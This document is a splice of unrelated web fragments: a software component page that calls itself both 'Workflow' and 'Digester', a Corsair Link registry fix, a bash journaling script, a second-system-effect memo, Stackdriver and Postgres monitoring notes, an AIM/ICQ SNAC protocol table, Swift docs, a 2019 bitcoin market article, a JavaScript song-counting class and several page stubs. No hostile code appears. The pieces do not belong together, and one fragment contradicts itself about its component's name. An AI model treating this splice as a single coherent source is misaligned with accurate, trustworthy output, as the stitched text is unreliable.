This scope of the Workflow component is primarily oriented to managing the execution of work flow processes scripted in XML.
The Digester component is dependent upon the following external components for development and use:
Current Release: Unreleased, SVN repository Only
Planned Next Release: N/A
The following individuals are the primary developers and maintainers of this component. Developers who plan to use Digester in their own projects are encouraged to collaborate on the future development of this component to ensure that it continues to meet a variety of needs.


The writeup includes project ideation, peer review, the usability test script, and the results of usability tests.
This is the project. You are currently viewing it. Click below to go back to the homepage.
This is a journal of the thought process and all the issues we ran into while building this project.


Corsair Link software seems to be broken after Windows 8.1 update. Fortunately, there is a fix.
-
Hit the start menu, and type "regedit" (Registry editor). Right-click it, then choose "run as administrator" to gain the needed privileges
-
From the left side folder tree, navigate to the following key:
HKLM\SYSTEM\CurrentControlSet\Enum\USB\VID_1B1C&PID_0C04
-
Navigate to "Device Parameters"
-
Change the following DWORD values from 1 to 0
AllowIdleIrpInD3 DeviceSelectiveSuspended EnhancedPowerManagementEnabled SelectiveSuspendEnabled
-
Do this for every sub folder inside
VID_1B1C&PID_0C04
. In my case, it’s just one folder. -
Restart your machine
After restarting, you will notice that the missing LED controls and fan controls are visible again.


A little thing I whipped together to scratch an itch. Think of it as a tiny skateboard of a database presentation layer for BI apps: Nerium
Stupid bash tricks No. 17: Editing on the fly
So, for a while now I've been keeping quick notes in a text file in a sort of bastardized, electronic "bullet log" format — almost a sort of private Twitter for myself. The entry format is simple: a timestamp, the note content, and finally a section marker to set of each entry from the next. Like so:
2016-08-10T13:57:46Z
I'm proud to say I've officially been riding fixed-gear bike long enough that freewheel feels weird now.
§
Since the whole point is to make it easy on myself to quickly add stuff to this file, I whipped up a quick & dirty little bash script to automate the timestamp and section marker around the entry, and then append the result to the end of the file. For a long time, this has treated STDIN as a heredoc:
1 2 3 4 5 6 7 8 9 10 11 | #!/bin/bash
TPATH=~/Dropbox/bullet/b0.md # the log file itself
# here's where it waits for input, then assigns to $CONTENT:
CONTENT=$(cat)
# wrap in timestamp and section symbol
date -u +%FT%TZ >> $TPATH
echo "" >> $TPATH
echo "$CONTENT" >> $TPATH
echo -e "\n§\n" >> $TPATH
atom $TPATH
|
This was fine, but lately I was thinking I'd rather be writing the entry portion in Atom instead of just hanging there until I hit ctl-d. So, just the other day, I revised it to work like this:
1 2 3 4 5 6 7 8 9 | #!/bin/bash
TPATH=~/Dropbox/bullet/b0.md
echo "" > /tmp/entry
atom --wait /tmp/entry
date -u +%FT%TZ >> $TPATH
echo "" >> $TPATH
cat /tmp/entry >> $TPATH
echo -e "\n§\n" >> $TPATH
atom $TPATH
|
So, now where I used to get a prompt to type the entry, an Atom window opens a blank temp file instead, and then the script waits for me to save and close that before going on with the rest of its business. It's a little thing, but pretty sweet in practice.
iAdOps and Second-System Effect
Some of you have already heard my story about the doomed Campaign Management System project (or, more accurately, series of failed projects) back at Leapfrog Online. (Mark will be able to recall his own direct memories.) Of course, LFO already had a Campaign Management System in the form of a custom application built in-house, but there was general agreement that the company's business operations and policies had outgrown the assumptions made in the original design. A project to rethink, redesign, and build an entirely new application was a high priority for Tech from before the first day I got there—and despite any number of project reboots, changes in frameworks, and reconstitutions of the team membership, I was there for more than seven years and never saw anything shipped.
In short, it was a classic case of the Second-System Effect as described by Fred Brooks in the fifth essay of The Mythical Man-Month. In particular, the requirement that the new system should do everything that the existing one did, while somehow being "better" in a vaguely defined but comprehensive way, was really impossible to reconcile.
From the c2 wiki:
If your project is the second system for most of your designers, then it will probably fail outright. If it doesn't fail, it will be bloated, inefficient, and icky.
I am writing this because I have concerns that our current effort to redefine the product design of iAdOps is smelling a lot to me like the restarts of the CMS project that I experienced. The worrying parallels include:
- We judged an incomplete prototype to be on the wrong track without any actual user testing.
- Executive Management repeated the request that any new iAdOps must include all functionality of the existing tool before it can serve as a replacement.
- The decision to reconsider the fundamentals of our previous working design has (so far) produced more uncertainty about, rather than clearer definition of, the project's goals.
I do not mean to say that entirely disagree with reconsidering the product design and approach, only that the dangers of Second-System Effect are lurking nearby, and I wanted to caution everybody to be on guard against the risks. Complete rewrites of existing software fail more often than they succeed. That we have already been working on this for two years and have returned to product design without shipping any working software suggests that we have already succumbed to the effect to some extent
So that I not focus entirely on the problem, here are suggested risk-mitigation strategies:
- Consider whether we can refactor, rather than rewrite, the existing code base.
- Keep goals and scope clear and focused, or make them so.
- Focus on improving, enhancing, or adding one feature at time; we don't have to replace the existing tool all at once.
- Concentrate on specific features, not the general purpose of the application. We can implement features directly, but cannot build abstract ideas as such.
- Apply YAGNI liberally.
Stackdriver custom metrics
The last item left to investigate/spike on for Postgres monitoring was setting up custom metrics via the Stackdriver API. This turns out to be fairly easy and quite flexible, and will be my recommendation for how we should proceed with filling in the remaining monitoring items that aren't addressed by Stackdriver and stackdriver-agent out of the box.
For python, connection to the API is managed via the usual discovery
method in the official google-api-python-client
library (and of course there are libraries for JS, Go, etc. as well).
Creation of a custom metric just requires provisioning a metric description and associating that to a metric type name. The basic structure of a metric is shown in the following python dictionary example:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | metrics_descriptor = {
"type": custom_metric_type,
"labels": [
{
"key": "environment",
"valueType": "STRING",
"description": "An arbitrary measurement"
}
],
"metricKind": metric_kind,
"valueType": "INT64",
"unit": "items",
"description": "An arbitrary measurement.",
"displayName": "Custom Metric"
}
|
The value in the "type"
node is just an arbitrary value in the custom.googleapis.com
namespace, for example 'custom.googleapis.com/postgres/connection_status'. The metricKind
is generally one of 'GAUGE' or 'CUMULATIVE'. The "labels"
provide a set of descriptive tags used to distinguish among specific instances of a metric type (e.g., a label might identify which Postgres instance a particular time series was coming from).
For writing data to a custom metric, we use the timeSeries.create
method. The structure looks complicated, but essentially we simply post a timestamp and data value to a given custom metric object for a resource. For example:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | timeseries_data = {
"metric": {
"type": 'custom.googleapis.com/trial_metric',
"labels": {
"pg_instance": "warehouse"
}
},
"resource": {
"type": 'gce_instance',
"labels": {
'instance_id':
'gke-warehouse-provisioning-1-fde62020-node-l8ba',
'zone': 'us-central1-f'
}
},
"points": [
{
"interval": {
"startTime": now,
"endTime": now
},
"value": {
"boolValue": True
}
}
]
}
|
Note it is also possible to create a new custom metric and start posting data to it in a single step.
The recommendation for resource is to use the physical layer on which the app being measured resides, although it is possible to set that to gke_container
. The docs have a full list of monitored resource types.
Conclusion
Using custom metrics for Postgres monitoring seems like the best bet. It may be possible to get something like check_postgres to produce output that can be read and posted to a custom metric. Or, since the number of checks to be added is relatively small compared to everything included in check_postgres, it might be easier to submit our own queries to Postgres using psycopg2 or whatever client, and then provision a TimeSeries object from that.
Although basic client connection to the Stackdriver API is provided by the standard google-api-python-client
library, it will probably be worthwhile to provide a small helper module to generalize the task of creating and sending data to custom metrics from Postgres checks.
Postgres Monitoring Trial Findings
In order to supplement the monitoring available in Stackdriver, I took a look at a number of options, as noted in this card.
TL;DR
I'm not overjoyed about any of the solutions I tried, although OPM could do the job if we can't come up with anything else.
pgantenna
This looked promising, based on the style of the project homepage, and the helpful documentation. There was already a docker image available, so getting this up and running was simple.
The app gathers data from a Postgres extension called pgsampler. Building this and installing it a postgres container was easy and straightforward: make && make install
and then add to postgresql.conf
as a shared_preload_libraries value.
Unfortunately, the pgantenna server just served a default Apache page on port 80, and I was unable to noodle out what the URL for the pgantenna app. At this point I noticed that the project hasn't had a new commit in 2 years, so it was unlikely that asking the developer for help would do much, and I abandoned the effort here.
Verdict: doesn't actually work.
OPM
This turns out to be a vended distribution of Nagios, with a custom UI wrapper, and with config and commands for Postgres already included (although still requiring further customization), and its own Nagios plugin (an alternative to the more widely-used check_postgres
).
Pros
- Can do everything Nagios does (threshold-based altering + some metric graphs) without so much of the Nagios setup. Indeed, it actually is Nagios, with some of the Postgres-specific stuff taken care of already.
- Nicer looking front-end than Nagios for monitoring
check_pgactivity
does a lot of the more useful things incheck_postgres
without as much complexity/bloat. Certainly covers what we're looking for.
Cons
- It's still Nagios, therefore an ugly beast
- Feels like both more and less than what I'm looking for (i.e., too heavyweight but also not great).
Verdict: Could be workable, but I'm not sold
Next Steps
- Research/investigate Stackdriver custom metrics as a way to do this monitoring
- Would have the advantage of integration with GCP account and the monitoring we are already using it for
- Draft more detailed plan for "rolling our own" solution
- Unlike my earlier post, I would be interested not in setting up a Graphite server, but a CLI thing like pg_view.
- Although, we'd still have to solve the problem of active/push altering
Postgres Monitoring
What we have in place
Monitors
Via Stackdriver:
- Connections (count): Number of connections to PostgreSQL.
- Disk Usage (byte): Number of bytes currently being used on disk.
- Commits (count/s): Number of commits per second.
- Rollbacks (count/s): Number of rollbacks per second.
- Heap Blocks Read Rate (count/s): Number of blocks read from the heap.
- Heap Cache Hit Rate (count/s): Number of blocks read directly out of the cache.
- Index Blocks Read Rate (count/s): Number of blocks read from the index.
- Index Cache Hit Rate (count/s): Number of index blocks read directly out of the cache.
- Toast Blocks Read Rate (count/s): Number of reads from the toast blocks.
- Toast Cache Hit Rate (count/s): Number of toast blocks read directly out of the cache.
- Toast Index Blocks Read Rate (count/s): Number of blocks read from the toast index.
- Toast Index Cache Hit Rate (count/s): Number of toast index blocks read directly out of the cache.
- Operations [delete, insert, update, heap only update] (count/s): Number of rows [deleted, inserted, updated, heap only updated] in the db.
- Dead Tuples (count): Number of tuples that are dead in the db.
- Live Tuples (count): Number of tuples that are live in the db.
Plus CPU, RAM, disk, and network traffic stats on the host
All of the above are simply being passively monitored; we don't have any threshold-based alerting on any metrics.
Alerting policies
- Uptime Check Health on mart.pgdata.xyz fails
- Uptime Check Health on warehouse.pgdata.xyz fails
- CPU Usage is absent for greater than 5 minutes from warehouse.pgdata.xyz
- CPU Usage is absent for greater than 10 minutes from api-postgres
- CPU Usage is absent for greater than 5 minutes from mart-postgres
When raised, these all send notice to the #data channel in Slack, and push notification to TYM via the Google Could Console app.
What we should still add
Things to monitor
- Count of database locks
- Duration of queries (avg, longest-running)
- Count and duration of idle-in-transaction connections
- Last checkpoint
- Actual uptime based on database connection (existing checks use ping or CPU metric availability)
Things to alert on
- blocking locks (at all)
- exclusive locks (threshold-based)
- connections waiting for a lock (threshold-based)
- long-running queries
Some options (needs research)
- Custom metrics via Stackdriver API
- pgantenna
- OPM (Don't miss Dockerized version)
- Roll our own check_postgres, Nagios, collectd, graphite server
Stackdriver
I've been studying Stackdriver Monitoring for Google Cloud, and setting up simple alerts and metric dashboards. I wrote up my findings on this wiki page.


This SNAC is an ack sent by the server when adding
a buddy, deleting a buddy,
or otherwise modifying a group. See also snac list for SSI service
here. This snac contain flag. Here
is the list of its known values:
| 0x0000 |
No errors (success) |
| 0x0002 |
Item you want to modify not found in list |
| 0x0003 |
Item you want to add allready exists |
| 0x000A |
Error adding item (invalid id, allready in list, invalid data) |
| 0x000C |
Can't add item. Limit for this type of items exceeded |
| 0x000D |
Trying to add ICQ contact to an AIM list |
| 0x000E |
Can't add this contact because it requires authorization |
|
|
| 00 13 |
|
word |
|
SNAC family |
| 00 0E |
|
word |
|
SNAC subtype |
| 00 00 |
|
word |
|
SNAC flags |
| xx xx xx xx |
|
dword |
|
SNAC request-id |
|
| xx xx |
|
word |
|
result code for item #1 (see list above) |
| ... |
|
... |
|
... |
| xx xx |
|
word |
|
result code for item #n (see list above) |
|
|
|


radi.mg - Short URL
Registered with `gandi.net`
Uses Netlify's DNS
Deployed and hosted w/ Netlify autodeploy
Netlify _redirects file to setup short URLs


Classes
The following classes are available globally.
-
Indexer using SKIndex as the core
See moreDeclaration
Swift
@objc public class DFSearchIndex : NSObject
-
A controller for a DFSearchIndex object that supports asynchronous calls to the index
See moreDeclaration
Swift
@objc public class DFSearchIndexAsyncController : NSObject
-
A memory-based index using NSMutableData as the backing.
See moreDeclaration
Swift
@objc public class DFSearchIndexData : DFSearchIndex
-
A file-based index
See moreDeclaration
Swift
@objc public class DFSearchIndexFile : DFSearchIndex


How far along is this website, design wise?


160 Van Brunt Street
Brooklyn, NY 11231
Store & Service<PHONE_NUMBER>
Roadside Assistance(877) 798-3752
(888) 237-2834
(888) AFS-Cars
Monday-Friday, 8 a.m. to 10 p.m., ET
Lease-end inquiries
(866) 277-8191
Monday-Friday, 8 a.m. to 8 p.m.
Monday-Friday, 8am – 10pm (EST)
Saturday-Sunday, 10am – 7pm (EST)
(For U.S. vehicle/market only)


{% extends "base.html" %} {% block title%} Главная страница {% endblock%} {% block content%}
Quickly build an effective pricing table for your potential customers with this Bootstrap example. It’s built with default Bootstrap components and utilities with little customization.


The Westside Music Foundation will promote musical culture and appreciation by providing high-quality musical concerts and activities to the public, featuring professional artists and leading educators, free of charge, by voluntary donation, or for a nominal fee to cover costs. The Westside Music Foundation will also work to provide educational opportunities to the public, with a particular emphasis on youth programs, to promote the importance of music, and to help others develop appreciation, understanding, skill, and proficiency in music through music education. Our goal is to provide high-quality musical education opportunities, particularly to youth who otherwise do not have access to top-caliber teachers and musicians as mentors due to financial means or lack of exposure due to socio-economic background.


<% layout ‘error_layout’, :title => “#{@app_name} application could not be started” do %>
<%= @app_name %> application could not be started
The application has exited during startup (i.e. during the evaluation of <tt>config/environment.rb</tt>). <% if @error.stderr %> The error message can be found below. To solve this problem, please follow any instructions in the error message. <% else %> The error message may have been written to the web server's log file. Please check the web server's log file (i.e. not the (Rails) application's log file) to find out why the application exited.
If that doesn't help, then please use the backtrace below to debug the problem.
 <% end %>
 <% if @error.stderr %>
Error message:

<%=h @error.stderr %>
 <% end %>
Application root:

 <tt class="filename"><%=h @app_root %></tt>

Backtrace:

 <%=<EMAIL_ADDRESS>%>


Bitcoin Outperformed 85 Percent of Top 50 Altcoins YTD
by Christine VasilevaBitcoin outperformed 85% of the top 50 digital coins and tokens based on market capitalization. Altcoins also split ways, with a handful of top assets surviving, with smaller coins and tokens virtually disappearing.
Bitcoin Bets Also Faced Volatility in 2019
BTC at one point had grown more than 400% between the market bottom and the June-July top. Even at $7,200, where the recent slide ended, the coin brought significant gains to recent buyers.
The start of 2019 was a low basis for both bitcoin and altcoins. Since then, performances have varied, with some altcoins rallying against the market. Altcoins have also been much less volatile this year.
For the altcoin market, 10-fold gains are now a rarity, even with coins, and tokens with a market capitalization above $1 billion. Altcoins were also a bit less volatile than BTC, as traders lost interest. For that reason, leading coins limited their slide from June to November to 20-30%, while BTC shed 50% of its price.
Altcoin trading, however, continued in 2019, though with a much more conservative outlook. The selection of coins shrank, and speculation centered around a handful of assets. Traders, however, still attempt to compensate for some of the BTC loss through taking altcoin positions.
Traders Still Chose Altcoins, Though with Smaller Selection
Bitcoin failed to fulfill the predictions for dominance as high as 90% toward the end of the year. After peaking at about 70.1%, the BTC market cap dominance is now down to 66%. Smaller altcoins take up about 10% of the entire market cap. One of the reasons for the slide in most smaller assets is the lack of markets against Tether (USDT). Pairings with the leading stablecoin are reserved only for leading altcoins.
The delisting of smaller assets, as well as those deemed to be at risk for a regulatory crackdown, further limited the altcoin market. Only those coins that still had listings on highly liquid exchanges survived, and performed better in 2019. Currently, there are only nine altcoins with a market cap above $1 billion.
Several altcoins outperformed BTC over limited time periods. Tezos (XTZ) gained as much as 300% during its rallies. Cosmos (ATOM) and Chainlink (LINK) also outperformed the market, though with higher volatility.
But in 2019, two coins specifically lost their appeal – Ripple’s XRP, and Stellar (XLM). The two coins fell by double-digit percentages, failing to rally significantly even during the mid-year bullish period. Bitcoin still failed to perform the Halloween rally, and now moves on to expectations of a December rally. However, the prevailing mood is pessimistic, and BTC creates fears of a bigger correction.
What do you think about bitcoin’s performance vs. altcoins? Share your thoughts in the comments section below!
The Rundown


/**
* Receives an array of object users from the users collection, and map the frequency of each song inside all the users.
* A very common and efficient problem solving algorithm for frequency matching.
*
* I chose this solution for two reasons. As I did NOT needed to know any order from votes, there is no point in using
* a list or array and also because representing each song primarily by their id, makes the backend services a lot
* lighter, since the 5 song ID's of each user and their nickname will be provided by the frontend solution, we don't
* need to parse the JSON on the backend AT ALL. All we need to do is map and return these id's to the
* frontend interface. This seemed like the best solution to me because: The frontend NEEDS the names and other
* information of each song to display it to users. So:
*
* 1-) Either I'd parse the JSON in the backend and return it to the frontend interface as chunks of data for every request.
* 2-) Or I'd parse the JSON only once on the frontend interface and persist only an unique identifier for each user
* and song (nickname and array of 5 favorite songs)
*
* Both solutions have their up and downside:
* 1- DOWN) Makes the service requires more processing to parse and map JSON datas to each request.
* 1- UP) Makes the data more secure and actually reliable.
*
* 2- DOWN) Makes the data to be processed in both services of this application open to frontend exploits. That means
* some user can breakpoint the React interface to intercept the http request and send us crazy hash ids that will never
* match the JSON data in the React interface, either (a) causing a crash in the screen after the return of the request
* or (b) possibly manipulating the process final result. The problem (a) can be easily fixed with a simple map access
* in the React application, but for (b) I couldn't think of a fix, but there is not much harm that can be done in this
* specific service, since the Admin route process does not persist its data to the database, making each request unique.
*
* My decision:
*
* Not only this specific Admin service but also the Submit service would need to parse with every request,
* chunks of JSON information, and considering that the Submit service needed to be scalable, I decided to remove this
* backend flow altogether.
*
* @property {_} map - An object literal to represent our hashMap data structure.
* @property {users} users - Users MongoDB object {name: <string>, songs: [<string>songId], _id: <MongoObject>}.
* @return {null}
*/
class SongMapper {
constructor(users) {
this._ = {};
this.users = users;
}
map() {
if (!this.users || !this.users.length) return undefined;
for (let user of this.users) {
if (!user.songs || !user.songs.length) continue;
for (let song of user.songs) {
if (!this._[song]) this._[song] = 1;
else this._[song]++;
}
}
}
}
module.exports = SongMapper;


Order your pizza and we wil deliver it to your location.
Price per pizza :
Pizza Order:
Delivery:
Total amount:
+254 1663 2313